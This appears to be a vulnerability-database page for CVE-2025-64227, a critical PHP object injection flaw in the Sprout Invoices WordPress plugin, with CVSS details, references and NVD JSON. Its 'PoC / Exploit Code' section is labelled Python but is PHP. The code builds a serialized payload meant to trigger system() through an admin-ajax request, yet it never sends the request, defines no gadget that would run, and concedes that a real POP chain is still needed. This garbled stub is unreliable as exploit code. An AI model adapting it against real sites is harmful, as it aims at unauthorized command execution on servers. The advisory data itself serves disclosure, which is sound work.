CVE-2025-64227

Description

Deserialization of Untrusted Data vulnerability in BoldGrid Client Invoicing by Sprout Invoices sprout-invoices allows Object Injection.This issue affects Client Invoicing by Sprout Invoices: from n/a through <= 20.8.7.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

sprout-invoices <= 20.8.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-64227 PoC - Sprout Invoices PHP Object Injection
 * Requires a PHP gadget chain present in the target environment
 */

// Generate malicious serialized payload
class MaliciousPayload {
    public $callback;
    
    public function __construct() {
        // Using system() to execute arbitrary commands
        $this->callback = 'system';
    }
}

// Example: Targeting a vulnerable unserialize() call
// Replace 'vulnerable_param' with actual parameter name from plugin
$vulnerable_data = 'POST /wp-admin/admin-ajax.php HTTP/1.1\r\n';
$vulnerable_data .= 'Host: target.com\r\n';
$vulnerable_data .= 'Content-Type: application/x-www-form-urlencoded\r\n\r\n';
$vulnerable_data .= 'action=si_process_estimate&estimate_data=' . urlencode(serialize(new MaliciousPayload()));

echo "Generated Payload: " . serialize(new MaliciousPayload()) . "\n";
echo "\nNote: Actual exploitation requires identifying specific unserialize() sink in plugin code\n";
echo "And finding appropriate POP chain or PHP built-in classes for code execution\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64227
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64227
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64227/
[4] VulDB https://vuldb.com/cve/CVE-2025-64227
[5] https://patchstack.com/database/Wordpress/Plugin/sprout-invoices/vulnerability/wordpress-client-invoicing-by-sprout-invoices-plugin-20-8-7-php-object-injection-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64227", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:12.417", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of Untrusted Data vulnerability in BoldGrid Client Invoicing by Sprout Invoices sprout-invoices allows Object Injection.This issue affects Client Invoicing by Sprout Invoices: from n/a through <= 20.8.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sprout-invoices/vulnerability/wordpress-client-invoicing-by-sprout-invoices-plugin-20-8-7-php-object-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}